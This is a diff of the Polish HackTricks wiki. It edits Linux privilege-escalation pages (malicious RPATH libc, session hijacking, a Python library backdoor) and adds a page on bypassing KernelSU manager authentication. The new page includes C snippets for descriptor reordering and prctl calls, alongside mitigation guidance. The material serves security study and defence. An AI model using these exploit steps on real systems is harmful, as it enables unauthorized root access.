Zauważ, że jeśli użytkownik używa innej powłoki (nie bash), będziesz musiał zmodyfikować inne pliki, aby dodać nową ścieżkę. Na przykład[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modyfikuje `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Możesz znaleźć inny przykład w [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
Lub uruchamiając coś takiego:
```bash
@ -1007,7 +1007,7 @@ Plik `/etc/ld.so.conf` wskazuje **skąd pochodzą załadowane pliki konfiguracyj
To oznacza, że pliki konfiguracyjne z `/etc/ld.so.conf.d/*.conf` będą odczytywane. Te pliki konfiguracyjne **wskazują na inne foldery**, w których **biblioteki** będą **wyszukiwane**. Na przykład, zawartość `/etc/ld.so.conf.d/libc.conf` to `/usr/local/lib`. **To oznacza, że system będzie szukał bibliotek w `/usr/local/lib`**.
Jeśli z jakiegoś powodu **użytkownik ma uprawnienia do zapisu** w którejkolwiek z wskazanych ścieżek: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, dowolny plik w `/etc/ld.so.conf.d/` lub dowolny folder w pliku konfiguracyjnym w `/etc/ld.so.conf.d/*.conf`, może być w stanie podnieść swoje uprawnienia.\
Zobacz **jak wykorzystać tę błędną konfigurację** na następującej stronie:
Zobacz **jak wykorzystać tę błędną konfigurację** na następnej stronie:
{{#ref}}
ld.so.conf-example.md
@ -1024,7 +1024,7 @@ linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
```
Kopiując bibliotekę do `/var/tmp/flag15/`, będzie ona używana przez program w tym miejscu, zgodnie z określoną zmienną `RPATH`.
Kopiując bibliotekę do `/var/tmp/flag15/`, będzie ona używana przez program w tym miejscu, jak określono w zmiennej `RPATH`.
```
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
@ -1033,7 +1033,7 @@ linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
```
Następnie stwórz złośliwą bibliotekę w `/var/tmp` za pomocą `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
Następnie utwórz złośliwą bibliotekę w `/var/tmp` za pomocą `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
```c
#include<stdlib.h>
#define SHELL "/bin/sh"
@ -1058,11 +1058,11 @@ linux-capabilities.md
## Directory permissions
W katalogu, **bit dla "wykonania"** oznacza, że użytkownik może "**cd**" do folderu.\
Bit **"odczytu"** oznacza, że użytkownik może **wylistować** **pliki**, a bit **"zapisu"** oznacza, że użytkownik może **usuwać** i **tworzyć** nowe **pliki**.
**Bit "odczytu"** oznacza, że użytkownik może **wylistować** **pliki**, a **bit "zapisu"** oznacza, że użytkownik może **usuwać** i **tworzyć** nowe **pliki**.
## ACLs
Listy Kontroli Dostępu (ACLs) reprezentują drugą warstwę dyskrecjonalnych uprawnień, zdolnych do **przesłaniania tradycyjnych uprawnień ugo/rwx**. Te uprawnienia zwiększają kontrolę nad dostępem do plików lub katalogów, pozwalając lub odmawiając praw konkretnym użytkownikom, którzy nie są właścicielami ani częścią grupy. Ten poziom **szczegółowości zapewnia dokładniejsze zarządzanie dostępem**. Dalsze szczegóły można znaleźć [**tutaj**](https://linuxconfig.org/how-to-manage-acls-on-linux).
Listy kontroli dostępu (ACLs) reprezentują drugą warstwę dyskrecjonalnych uprawnień, zdolnych do **przesłaniania tradycyjnych uprawnień ugo/rwx**. Te uprawnienia zwiększają kontrolę nad dostępem do plików lub katalogów, pozwalając lub odmawiając praw konkretnym użytkownikom, którzy nie są właścicielami ani częścią grupy. Ten poziom **szczegółowości zapewnia dokładniejsze zarządzanie dostępem**. Dalsze szczegóły można znaleźć [**tutaj**](https://linuxconfig.org/how-to-manage-acls-on-linux).
**Nadaj** użytkownikowi "kali" uprawnienia do odczytu i zapisu dla pliku:
```bash
@ -1078,7 +1078,7 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
## Otwórz sesje powłoki
W **starych wersjach** możesz **przejąć** niektóre sesje **powłoki** innego użytkownika (**root**).\
W **najnowszych wersjach** będziesz mógł **połączyć** się tylko z sesjami ekranu **swojego własnego użytkownika**. Jednak możesz znaleźć **interesujące informacje wewnątrz sesji**.
W **najnowszych wersjach** będziesz mógł **połączyć się** tylko z sesjami ekranu **swojego własnego użytkownika**. Jednak możesz znaleźć **interesujące informacje wewnątrz sesji**.
### przejmowanie sesji ekranu
@ -1117,14 +1117,14 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
```
Sprawdź **Valentine box from HTB** dla przykładu.
Sprawdź **Valentine box from HTB** jako przykład.
## SSH
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
Wszystkie klucze SSL i SSH generowane na systemach opartych na Debianie (Ubuntu, Kubuntu itp.) między wrześniem 2006 a 13 maja 2008 mogą być dotknięte tym błędem.\
Błąd ten występuje podczas tworzenia nowego klucza ssh w tych systemach, ponieważ **możliwe były tylko 32,768 wariantów**. Oznacza to, że wszystkie możliwości można obliczyć i **mając publiczny klucz ssh, można wyszukiwać odpowiadający klucz prywatny**. Możesz znaleźć obliczone możliwości tutaj: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
Błąd ten występuje podczas tworzenia nowego klucza ssh w tych systemach, ponieważ **możliwe były tylko 32 768 wariantów**. Oznacza to, że wszystkie możliwości można obliczyć i **mając publiczny klucz ssh, można wyszukiwać odpowiadający klucz prywatny**. Możesz znaleźć obliczone możliwości tutaj: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
### Interesujące wartości konfiguracyjne SSH
@ -1147,7 +1147,7 @@ Określa pliki, które zawierają klucze publiczne, które mogą być używane d
```bash
AuthorizedKeysFile .ssh/authorized_keys access
```
Ta konfiguracja wskaże, że jeśli spróbujesz zalogować się za pomocą **klucza prywatnego** użytkownika "**testusername**", ssh porówna klucz publiczny twojego klucza z tymi znajdującymi się w `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access`
Ta konfiguracja wskaże, że jeśli spróbujesz zalogować się za pomocą **prywatnego** klucza użytkownika "**testusername**", ssh porówna klucz publiczny twojego klucza z tymi znajdującymi się w `/home/testusername/.ssh/authorized_keys` i `/home/testusername/access`
### ForwardAgent/AllowAgentForwarding
@ -1158,7 +1158,7 @@ Musisz ustawić tę opcję w `$HOME/.ssh.config` w ten sposób:
Host example.com
ForwardAgent yes
```
Zauważ, że jeśli `Host` to `*`, za każdym razem, gdy użytkownik przeskakuje na inną maszynę, ten host będzie mógł uzyskać dostęp do kluczy (co stanowi problem bezpieczeństwa).
Zauważ, że jeśli `Host` to `*`, za każdym razem, gdy użytkownik przeskakuje na inną maszynę, ten host będzie miał dostęp do kluczy (co stanowi problem bezpieczeństwa).
Plik `/etc/ssh_config` może **nadpisać** te **opcje** i zezwolić lub zabronić tej konfiguracji.\
Plik `/etc/sshd_config` może **zezwolić** lub **zabronić** przekazywania ssh-agenta za pomocą słowa kluczowego `AllowAgentForwarding` (domyślnie zezwala).
@ -1216,7 +1216,7 @@ su - dummy
```
UWAGA: Na platformach BSD `/etc/passwd` znajduje się w `/etc/pwd.db` oraz `/etc/master.passwd`, a także `/etc/shadow` jest przemianowane na `/etc/spwd.db`.
Powinieneś sprawdzić, czy możesz **zapisać w niektórych wrażliwych plikach**. Na przykład, czy możesz zapisać w jakimś **plik konfiguracyjny usługi**?
Powinieneś sprawdzić, czy możesz **zapisać w niektórych wrażliwych plikach**. Na przykład, czy możesz zapisać w jakimś **pliku konfiguracyjnym usługi**?
```bash
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
@ -1286,7 +1286,7 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
```
### Znane pliki zawierające hasła
Przeczytaj kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), który wyszukuje **kilka możliwych plików, które mogą zawierać hasła**.\
Przeczytaj kod [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), który przeszukuje **kilka możliwych plików, które mogą zawierać hasła**.\
**Innym interesującym narzędziem**, które możesz użyć do tego celu, jest: [**LaZagne**](https://github.com/AlessandroZ/LaZagne), które jest aplikacją open source używaną do odzyskiwania wielu haseł przechowywanych na lokalnym komputerze dla systemów Windows, Linux i Mac.
### Dzienniki
@ -1319,7 +1319,7 @@ Nie zamierzam tutaj wymieniać, jak to wszystko zrobić, ale jeśli jesteś zain
### Python library hijacking
Jeśli wiesz, **skąd** skrypt pythonowy będzie wykonywany i **możesz pisać w** tym folderze lub możesz **modyfikować biblioteki pythonowe**, możesz zmodyfikować bibliotekę OS i wprowadzić do niej backdoora (jeśli możesz pisać tam, gdzie skrypt pythonowy będzie wykonywany, skopiuj i wklej bibliotekę os.py).
Jeśli wiesz, **skąd** skrypt pythonowy ma być uruchomiony i **możesz pisać w** tym folderze lub **możesz modyfikować biblioteki pythonowe**, możesz zmodyfikować bibliotekę OS i wprowadzić do niej backdoora (jeśli możesz pisać tam, gdzie skrypt pythonowy ma być uruchomiony, skopiuj i wklej bibliotekę os.py).
Aby **wprowadzić backdoora do biblioteki**, po prostu dodaj na końcu biblioteki os.py następującą linię (zmień IP i PORT):
```python
@ -1358,7 +1358,7 @@ DEVICE=eth0
Katalog `/etc/init.d` jest domem dla **skryptów** dla System V init (SysVinit), **klasycznego systemu zarządzania usługami w Linuksie**. Zawiera skrypty do `start`, `stop`, `restart`, a czasami `reload` usług. Mogą być one wykonywane bezpośrednio lub przez dowiązania symboliczne znajdujące się w `/etc/rc?.d/`. Alternatywną ścieżką w systemach Redhat jest `/etc/rc.d/init.d`.
Z drugiej strony, `/etc/init` jest związany z **Upstart**, nowszym **zarządzaniem usługami** wprowadzonym przez Ubuntu, wykorzystującym pliki konfiguracyjne do zadań zarządzania usługami. Pomimo przejścia na Upstart, skrypty SysVinit są nadal wykorzystywane obok konfiguracji Upstart z powodu warstwy zgodności w Upstart.
Z drugiej strony, `/etc/init` jest związany z **Upstart**, nowszym **systemem zarządzania usługami** wprowadzonym przez Ubuntu, wykorzystującym pliki konfiguracyjne do zadań zarządzania usługami. Mimo przejścia na Upstart, skrypty SysVinit są nadal wykorzystywane obok konfiguracji Upstart z powodu warstwy zgodności w Upstart.
**systemd** pojawia się jako nowoczesny menedżer inicjalizacji i usług, oferujący zaawansowane funkcje, takie jak uruchamianie demonów na żądanie, zarządzanie automontowaniem i migawki stanu systemu. Organizuje pliki w `/usr/lib/systemd/` dla pakietów dystrybucyjnych i `/etc/systemd/system/` dla modyfikacji administratora, usprawniając proces administracji systemem.
@ -1400,11 +1400,11 @@ cisco-vmanage.md
**Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
**Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
**BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\
**Kernelpop:** Wykrywanie luk w jądrze w linux i MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
**Kernelpop:** Wykrywanie luk w jądrze w linuxie i MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
**Mestaploit:** _**multi/recon/local_exploit_suggester**_\
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
**EvilAbigail (dostęp fizyczny):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
**Kompilacja dodatkowych skryptów**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
**Kompilacja więcej skryptów**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
## Odniesienia
@ -1426,4 +1426,12 @@ cisco-vmanage.md
- [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
- [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
## Ramy do rootowania Androida: nadużycie menedżera kanału
Ramy do rootowania Androida zwykle podłączają syscall, aby ujawnić uprzywilejowaną funkcjonalność jądra użytkownikowi menedżera. Słaba autoryzacja menedżera (np. kontrole podpisów oparte na kolejności FD lub słabe schematy haseł) mogą umożliwić lokalnej aplikacji podszywanie się pod menedżera i eskalację do roota na już zrootowanych urządzeniach. Dowiedz się więcej i szczegóły eksploatacji tutaj:
{{#ref}}
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

190
src/linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md Normal file
View File

@ -0,0 +1,190 @@
# Android Rooting Frameworks (KernelSU/Magisk) Manager Auth Bypass & Syscall Hook Abuse
{{#include ../../banners/hacktricks-training.md}}
Frameworki rootujące, takie jak KernelSU, APatch, SKRoot i Magisk, często łatają jądro Linux/Android i udostępniają uprzywilejowane funkcje aplikacji "menedżera" w przestrzeni użytkownika za pośrednictwem podłączonego syscall. Jeśli krok uwierzytelniania menedżera jest wadliwy, każda lokalna aplikacja może uzyskać dostęp do tego kanału i podnieść uprawnienia na już zrootowanych urządzeniach.
Ta strona abstrahuje techniki i pułapki odkryte w badaniach publicznych (szczególnie analiza KernelSU v0.5.7 przez Zimperium), aby pomóc zarówno zespołom red, jak i blue w zrozumieniu powierzchni ataku, prymitywów eksploatacji i solidnych środków zaradczych.
---
## Wzorzec architektury: syscall-hooked manager channel
- Moduł/łatka jądra podłącza syscall (zwykle prctl), aby odbierać "komendy" z przestrzeni użytkownika.
- Protokół zazwyczaj wygląda następująco: magic_value, command_id, arg_ptr/len ...
- Aplikacja menedżera w przestrzeni użytkownika najpierw się uwierzytelnia (np. CMD_BECOME_MANAGER). Gdy jądro oznaczy wywołującego jako zaufanego menedżera, akceptowane są uprzywilejowane komendy:
- Przyznaj root wywołującemu (np. CMD_GRANT_ROOT)
- Zarządzaj listami dozwolonymi/zakazanymi dla su
- Dostosuj politykę SELinux (np. CMD_SET_SEPOLICY)
- Zapytaj o wersję/konfigurację
- Ponieważ każda aplikacja może wywoływać syscalls, poprawność uwierzytelniania menedżera jest kluczowa.
Przykład (projekt KernelSU):
- Podłączony syscall: prctl
- Magiczna wartość do przekierowania do handlera KernelSU: 0xDEADBEEF
- Komendy obejmują: CMD_BECOME_MANAGER, CMD_GET_VERSION, CMD_ALLOW_SU, CMD_SET_SEPOLICY, CMD_GRANT_ROOT, itd.
---
## Przepływ uwierzytelniania KernelSU v0.5.7 (jak zaimplementowano)
Gdy przestrzeń użytkownika wywołuje prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...), KernelSU weryfikuje:
1) Sprawdzenie prefiksu ścieżki
- Podana ścieżka musi zaczynać się od oczekiwanego prefiksu dla UID wywołującego, np. /data/data/<pkg> lub /data/user/<id>/<pkg>.
- Odniesienie: core_hook.c (v0.5.7) logika prefiksu ścieżki.
2) Sprawdzenie własności
- Ścieżka musi być własnością UID wywołującego.
- Odniesienie: core_hook.c (v0.5.7) logika własności.
3) Sprawdzenie podpisu APK za pomocą skanowania tabeli FD
- Iteruj przez otwarte deskryptory plików (FD) procesu wywołującego.
- Wybierz pierwszy plik, którego ścieżka pasuje do /data/app/*/base.apk.
- Przeanalizuj podpis APK v2 i zweryfikuj go w stosunku do oficjalnego certyfikatu menedżera.
- Odniesienia: manager.c (iteracja FDs), apk_sign.c (weryfikacja APK v2).
Jeśli wszystkie kontrole przejdą, jądro tymczasowo przechowuje UID menedżera i akceptuje uprzywilejowane komendy z tego UID, aż do resetu.
---
## Klasa podatności: zaufanie "pierwszemu pasującemu APK" z iteracji FD
Jeśli sprawdzenie podpisu wiąże się z "pierwszym pasującym /data/app/*/base.apk" znalezionym w tabeli FD procesu, w rzeczywistości nie weryfikuje to pakietu wywołującego. Atakujący może wcześniej umieścić prawidłowo podpisany APK (prawdziwego menedżera), aby pojawił się wcześniej na liście FD niż jego własny base.apk.
To zaufanie przez pośrednictwo pozwala aplikacji bez uprawnień na podszywanie się pod menedżera bez posiadania klucza podpisującego menedżera.
Kluczowe właściwości wykorzystywane:
- Skanowanie FD nie wiąże się z tożsamością pakietu wywołującego; tylko dopasowuje wzorce ciągów ścieżek.
- open() zwraca najniższy dostępny FD. Zamykając najpierw FD o niższych numerach, atakujący może kontrolować kolejność.
- Filtr sprawdza tylko, czy ścieżka pasuje do /data/app/*/base.apk – nie to, że odpowiada zainstalowanemu pakietowi wywołującego.
---
## Warunki wstępne ataku
- Urządzenie jest już zrootowane z podatnym frameworkiem rootującym (np. KernelSU v0.5.7).
- Atakujący może uruchomić dowolny nieuprzywilejowany kod lokalnie (proces aplikacji Android).
- Prawdziwy menedżer jeszcze się nie uwierzytelnił (np. zaraz po ponownym uruchomieniu). Niektóre frameworki przechowują UID menedżera po sukcesie; musisz wygrać wyścig.
---
## Zarys eksploatacji (KernelSU v0.5.7)
Kroki na wysokim poziomie:
1) Zbuduj prawidłową ścieżkę do swojego katalogu danych aplikacji, aby spełnić kontrole prefiksu i własności.
2) Upewnij się, że prawdziwy plik APK menedżera KernelSU jest otwarty na niższym numerze FD niż twój własny base.apk.
3) Wywołaj prctl(0xDEADBEEF, CMD_BECOME_MANAGER, <your_data_dir>, ...) aby przejść kontrole.
4) Wydaj uprzywilejowane komendy, takie jak CMD_GRANT_ROOT, CMD_ALLOW_SU, CMD_SET_SEPOLICY, aby utrzymać podniesienie uprawnień.
Praktyczne uwagi dotyczące kroku 2 (kolejność FD):
- Zidentyfikuj FD swojego procesu dla swojego /data/app/*/base.apk, przechodząc przez symlinki /proc/self/fd.
- Zamknij niski FD (np. stdin, fd 0) i najpierw otwórz prawdziwy plik APK menedżera, aby zajmował fd 0 (lub dowolny indeks niższy niż twój własny fd base.apk).
- Spakuj prawdziwy plik APK menedżera z twoją aplikacją, aby jego ścieżka spełniała naiwne filtry jądra. Na przykład umieść go w podścieżce pasującej do /data/app/*/base.apk.
Przykładowe fragmenty kodu (Android/Linux, tylko ilustracyjne):
Enumerate open FDs to locate base.apk entries:
```c
#include <dirent.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int find_first_baseapk_fd(char out_path[PATH_MAX]) {
DIR *d = opendir("/proc/self/fd");
if (!d) return -1;
struct dirent *e; char link[PATH_MAX]; char p[PATH_MAX];
int best_fd = -1;
while ((e = readdir(d))) {
if (e->d_name[0] == '.') continue;
int fd = atoi(e->d_name);
snprintf(link, sizeof(link), "/proc/self/fd/%d", fd);
ssize_t n = readlink(link, p, sizeof(p)-1);
if (n <= 0) continue; p[n] = '\0';
if (strstr(p, "/data/app/") && strstr(p, "/base.apk")) {
if (best_fd < 0 || fd < best_fd) {
best_fd = fd; strncpy(out_path, p, PATH_MAX);
}
}
}
closedir(d);
return best_fd; // First (lowest) matching fd
}
```
Wymuś, aby niższy numer FD wskazywał na legalny APK menedżera:
```c
#include <fcntl.h>
#include <unistd.h>
void preopen_legit_manager_lowfd(const char *legit_apk_path) {
// Reuse stdin (fd 0) if possible so the next open() returns 0
close(0);
int fd = open(legit_apk_path, O_RDONLY);
(void)fd; // fd should now be 0 if available
}
```
Zarządzanie uwierzytelnianiem za pomocą hooka prctl:
```c
#include <sys/prctl.h>
#include <stdint.h>
#define KSU_MAGIC 0xDEADBEEF
#define CMD_BECOME_MANAGER 0x100 // Placeholder; command IDs are framework-specific
static inline long ksu_call(unsigned long cmd, unsigned long arg2,
unsigned long arg3, unsigned long arg4) {
return prctl(KSU_MAGIC, cmd, arg2, arg3, arg4);
}
int become_manager(const char *my_data_dir) {
long result = -1;
// arg2: command, arg3: pointer to data path (userspace->kernel copy), arg4: optional result ptr
result = ksu_call(CMD_BECOME_MANAGER, (unsigned long)my_data_dir, 0, 0);
return (int)result;
}
```
Po sukcesie, polecenia z uprawnieniami (przykłady):
- CMD_GRANT_ROOT: promuj bieżący proces do roota
- CMD_ALLOW_SU: dodaj swój pakiet/UID do listy dozwolonych dla trwałego su
- CMD_SET_SEPOLICY: dostosuj politykę SELinux zgodnie z obsługą przez framework
Wskazówka dotycząca wyścigu/trwałości:
- Zarejestruj odbiornik BOOT_COMPLETED w AndroidManifest (RECEIVE_BOOT_COMPLETED), aby uruchomić się wcześnie po ponownym uruchomieniu i spróbować uwierzytelnienia przed prawdziwym menedżerem.
---
## Wskazówki dotyczące wykrywania i łagodzenia
Dla deweloperów frameworków:
- Powiąż uwierzytelnianie z pakietem/UID wywołującego, a nie z dowolnymi FD:
- Rozwiąż pakiet wywołującego z jego UID i zweryfikuj go w porównaniu z podpisem zainstalowanego pakietu (za pomocą PackageManager), a nie skanując FD.
- Jeśli tylko jądro, użyj stabilnej tożsamości wywołującego (uprawnienia zadania) i zweryfikuj na stabilnym źródle prawdy zarządzanym przez init/użytkownika, a nie FD procesów.
- Unikaj sprawdzania prefiksów ścieżek jako tożsamości; są one trywialnie spełniane przez wywołującego.
- Użyj wyzwania opartego na nonce w odpowiedzi przez kanał i wyczyść wszelkie pamiętane tożsamości menedżera przy uruchomieniu lub przy kluczowych zdarzeniach.
- Rozważ użycie uwierzytelnionego IPC opartego na binderze zamiast przeciążania ogólnych wywołań systemowych, gdy to możliwe.
Dla obrońców/zespół niebieski:
- Wykryj obecność frameworków do rootowania i procesów menedżera; monitoruj wywołania prctl z podejrzanymi magicznymi stałymi (np. 0xDEADBEEF), jeśli masz telemetrię jądra.
- W zarządzanych flotach, blokuj lub alarmuj na odbiorniki uruchamiania z nieufnych pakietów, które szybko próbują poleceń menedżera z uprawnieniami po uruchomieniu.
- Upewnij się, że urządzenia są zaktualizowane do poprawionych wersji frameworków; unieważnij pamiętane identyfikatory menedżera po aktualizacji.
Ograniczenia ataku:
- Dotyczy tylko urządzeń już zrootowanych z podatnym frameworkiem.
- Zazwyczaj wymaga ponownego uruchomienia/okna wyścigu przed uwierzytelnieniem przez prawdziwego menedżera (niektóre frameworki pamiętają UID menedżera do momentu resetu).
---
## Powiązane uwagi w ramach frameworków
- Uwierzytelnianie oparte na haśle (np. historyczne wersje APatch/SKRoot) może być słabe, jeśli hasła są do odgadnięcia/bruteforce'owania lub walidacje są wadliwe.
- Uwierzytelnianie oparte na pakiecie/podpisie (np. KernelSU) jest silniejsze w zasadzie, ale musi być powiązane z rzeczywistym wywołującym, a nie pośrednimi artefaktami, takimi jak skany FD.
- Magisk: CVE-2024-48336 (MagiskEoP) pokazał, że nawet dojrzałe ekosystemy mogą być podatne na fałszowanie tożsamości prowadzące do wykonania kodu z roota w kontekście menedżera.
---
## Odnośniki
- [Zimperium – The Rooting of All Evil: Security Holes That Could Compromise Your Mobile Device](https://zimperium.com/blog/the-rooting-of-all-evil-security-holes-that-could-compromise-your-mobile-device)
- [KernelSU v0.5.7 – core_hook.c path checks (L193, L201)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/core_hook.c#L193)
- [KernelSU v0.5.7 – manager.c FD iteration/signature check (L43+)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/manager.c#L43)
- [KernelSU – apk_sign.c APK v2 verification (main)](https://github.com/tiann/KernelSU/blob/main/kernel/apk_sign.c#L319)
- [KernelSU project](https://kernelsu.org/)
- [APatch](https://github.com/bmax121/APatch)
- [SKRoot](https://github.com/abcz316/SKRoot-linuxKernelRoot)
- [MagiskEoP – CVE-2024-48336](https://github.com/canyie/MagiskEoP)
- [KSU PoC demo video (Wistia)](https://zimperium-1.wistia.com/medias/ep1dg4t2qg?videoFoam=true)
{{#include ../../banners/hacktricks-training.md}}

114
src/mobile-pentesting/android-app-pentesting/README.md
View File

@ -13,23 +13,23 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
To główne narzędzie, którego potrzebujesz, aby połączyć się z urządzeniem z Androidem (emulowanym lub fizycznym).\
**ADB** umożliwia kontrolowanie urządzeń zarówno przez **USB**, jak i **sieć** z komputera. To narzędzie pozwala na **kopiowanie** plików w obie strony, **instalację** i **odinstalację** aplikacji, **wykonywanie** poleceń powłoki, **tworzenie kopii zapasowych** danych, **odczytywanie** logów, wśród innych funkcji.
**ADB** umożliwia kontrolowanie urządzeń zarówno przez **USB**, jak i **sieć** z komputera. To narzędzie pozwala na **kopiowanie** plików w obu kierunkach, **instalację** i **odinstalację** aplikacji, **wykonywanie** poleceń powłoki, **tworzenie kopii zapasowych** danych, **odczytywanie** logów, wśród innych funkcji.
Zobacz poniższą listę [**poleceń ADB**](adb-commands.md), aby dowiedzieć się, jak używać adb.
Zobacz poniższą listę [**komend ADB**](adb-commands.md), aby dowiedzieć się, jak używać adb.
## Smali
Czasami interesujące jest **modyfikowanie kodu aplikacji**, aby uzyskać dostęp do **ukrytych informacji** (może dobrze obfuskowanych haseł lub flag). Wtedy może być interesujące dekompilowanie apk, modyfikowanie kodu i ponowne kompilowanie go.\
[**W tym samouczku** możesz **nauczyć się, jak dekompilować APK, modyfikować kod Smali i ponownie kompilować APK** z nową funkcjonalnością](smali-changes.md). Może to być bardzo przydatne jako **alternatywa dla kilku testów podczas analizy dynamicznej**, które będą przedstawione. Pamiętaj, **aby zawsze mieć na uwadze tę możliwość**.
[**W tym samouczku** możesz **nauczyć się, jak dekompilować APK, modyfikować kod Smali i ponownie kompilować APK** z nową funkcjonalnością](smali-changes.md). Może to być bardzo przydatne jako **alternatywa dla kilku testów podczas analizy dynamicznej**, które będą przedstawione. Dlatego **zawsze miej na uwadze tę możliwość**.
## Inne interesujące triki
- [Podrabianie lokalizacji w Sklepie Play](spoofing-your-location-in-play-store.md)
- [Shizuku Privileged API (dostęp z uprawnieniami bez roota oparty na ADB)](shizuku-privileged-api.md)
- [Wykorzystywanie niebezpiecznych mechanizmów aktualizacji w aplikacji](insecure-in-app-update-rce.md)
- [Wykorzystywanie usług dostępności (Android RAT)](accessibility-services-abuse.md)
- [Nadużywanie usług dostępności (Android RAT)](accessibility-services-abuse.md)
- **Pobieranie APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Wyodrębnij APK z urządzenia:
- Ekstrakcja APK z urządzenia:
```bash
adb shell pm list packages
com.android.insecurebankv2
@ -39,7 +39,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
```
- Połącz wszystkie podzielone i podstawowe pliki APK za pomocą [APKEditor](https://github.com/REAndroid/APKEditor):
- Scal wszystkie podziały i podstawowe pliki APK za pomocą [APKEditor](https://github.com/REAndroid/APKEditor):
```bash
mkdir splits
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
@ -54,6 +54,10 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
../ios-pentesting/air-keyboard-remote-input-injection.md
{{#endref}}
{{#ref}}
../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
{{#endref}}
## Static Analysis
Przede wszystkim, aby przeanalizować APK, powinieneś **rzucić okiem na kod Java** za pomocą dekompilatora.\
@ -69,26 +73,26 @@ Zwróć szczególną uwagę na **adresy URL Firebase** i sprawdź, czy są źle
### Basic understanding of the application - Manifest.xml, strings.xml
**Badanie plików _Manifest.xml_ i _strings.xml_ aplikacji może ujawnić potencjalne luki w zabezpieczeniach**. Pliki te można uzyskać za pomocą dekompilatorów lub zmieniając rozszerzenie pliku APK na .zip, a następnie rozpakowując go.
**Badanie plików _Manifest.xml_ i **_strings.xml_** aplikacji może ujawnić potencjalne luki w zabezpieczeniach**. Pliki te można uzyskać za pomocą dekompilatorów lub zmieniając rozszerzenie pliku APK na .zip, a następnie rozpakowując go.
**Luki** zidentyfikowane w **Manifest.xml** obejmują:
- **Debugowalne aplikacje**: Aplikacje ustawione jako debugowalne (`debuggable="true"`) w pliku _Manifest.xml_ stanowią ryzyko, ponieważ pozwalają na połączenia, które mogą prowadzić do wykorzystania. Aby uzyskać dalsze informacje na temat tego, jak wykorzystać debugowalne aplikacje, zapoznaj się z samouczkiem na temat znajdowania i wykorzystywania debugowalnych aplikacji na urządzeniu.
